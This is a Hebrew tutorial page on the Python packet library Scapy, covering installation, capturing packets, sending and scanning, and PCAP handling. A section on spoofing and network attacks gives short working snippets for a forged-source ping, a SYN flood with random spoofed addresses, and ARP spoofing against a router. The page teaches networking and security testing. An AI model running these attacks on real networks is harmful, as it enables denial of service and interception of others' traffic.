לדלג לתוכן

הרצאה מקיפה על Scapy – כלי וספרייה לניתוח ותפעול חבילות רשת

שימו לב, ההרצאה רלוונטית לאנשים שיודעים לכתוב קוד בפייתון! ואם אתם לא, מוזמנים לעשות את קורס "קורס תכנות בסיסי" המוצע באתר.

מבוא

הספרייה Scapy היא ספריית Python רבת-עוצמה המאפשרת יצירה, שליחה, לכידה, וניתוח של חבילות רשת.
בניגוד לכלים כמו tcpdump או Wireshark, שמתרכזים רק בלכידה וניתוח, Scapy מאפשר גם יצירה ושינוי של חבילות בזמן אמת.

🔹 השימושים המרכזיים של Scapy:

  • ניתוח תעבורה (כמו tcpdump/Wireshark)
  • יצירת חבילות מותאמות אישית
  • תקיפת רשתות
  • שינוי ותקיפה של פרוטוקולים
  • סריקות רשת (בדומה ל-Nmap)
  • זיוף חבילות (Packet Spoofing)

התקנה והכנה

התקנת Scapy

📌 דרישות מקדימות:
לפני ההתקנה, ודא ש-Python מותקן (Python 3.6+ מומלץ).

התקנה ב-Ubuntu/Debian

sudo apt update && sudo apt install python3-scapy

התקנה ב-Windows ו-MacOS

pip install scapy

בדיקת התקנה

python3 -c "from scapy.all import *; print('Scapy עובד!')"

שימוש בסיסי

📌 Scapy יכול לעבוד בשני מצבים:

  1. מצב אינטראקטיבי (Shell): הפעלה דרך הטרמינל (scapy).
  2. סקריפטים ב-Python: שימוש בספרייה בתוך קוד Python.

פתיחת Shell אינטראקטיבי

scapy

או ב-Python:

from scapy.all import *

לכידת חבילות רשת

1. לכידת חבילות עם sniff()

sniff(count=10)
  • לוכד 10 חבילות רשת מכל ממשק.

2. לכידת חבילות מפורטות

sniff(count=5, iface="eth0", prn=lambda x: x.summary())
  • מאזין ל-eth0 ומציג תקציר לכל חבילה.

3. לכידת חבילות HTTP בלבד

sniff(filter="tcp port 80", count=5, prn=lambda x: x.summary())
  • לוכד 5 חבילות HTTP (פורט 80).

יצירת ושליחת חבילות

4. שליחת Ping (ICMP Echo Request)

send(IP(dst="8.8.8.8")/ICMP())
  • שולח Ping ל-8.8.8.8.

5. שליחת חבילת TCP לפורט 80

send(IP(dst="192.168.1.1")/TCP(dport=80))
  • שולח חבילת TCP לפורט 80 בכתובת 192.168.1.1.

6. שליחת UDP ל-DNS (פורט 53)

send(IP(dst="8.8.8.8")/UDP(dport=53))
  • שולח בקשת DNS לשרתי Google DNS.

סריקות רשת (Nmap עם Scapy)

7. סריקת פתיחות פורטים

ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22,80,443], flags="S"))
ans.summary()
  • שולח חבילות SYN לכתובת 192.168.1.1 לפורטים 22, 80, 443.

8. גילוי כתובות ברשת (ARP Scan)

ans, unans = arping("192.168.1.0/24")
  • מגלה מכשירים פעילים ברשת 192.168.1.0/24.

זיוף חבילות והתקפות רשת

9. זיוף חבילת IP ושינוי כתובת מקור

send(IP(src="1.2.3.4", dst="192.168.1.1")/ICMP())
  • שולח חבילת Ping מזויפת עם כתובת מקור 1.2.3.4.

10. התקפת SYN Flood

for i in range(100):
    send(IP(src=RandIP(), dst="192.168.1.1")/TCP(dport=80, flags="S"))
  • שולח 100 חבילות SYN עם כתובות IP מזויפות.

11. התקפת ARP Spoofing

send(ARP(op=2, pdst="192.168.1.1", hwdst="00:11:22:33:44:55", psrc="192.168.1.100"))
  • מתחזה למחשב 192.168.1.100 מול הנתב 192.168.1.1.

ניתוח תוכן חבילות

12. ניתוח חבילת ICMP

pkt = IP(dst="8.8.8.8")/ICMP()
pkt.show()
  • מציג את מבנה החבילה.

13. הדפסת תוכן חבילות TCP

sniff(filter="tcp", count=5, prn=lambda x: x.show())
  • מציג את כל השדות של חבילות TCP.

שימוש במודולים מתקדמים

14. המרת חבילה לפורמט Hex

pkt = IP(dst="8.8.8.8")/ICMP()
hexdump(pkt)
  • מציג את החבילה בפורמט הקסדצימלי.

15. שמירת חבילות לקובץ (PCAP)

pkts = sniff(count=10)
wrpcap("capture.pcap", pkts)
  • שומר 10 חבילות לקובץ capture.pcap.

16. קריאת חבילות מקובץ PCAP

pkts = rdpcap("capture.pcap")
for pkt in pkts:
    pkt.show()
  • קורא ומציג חבילות מקובץ Wireshark (PCAP).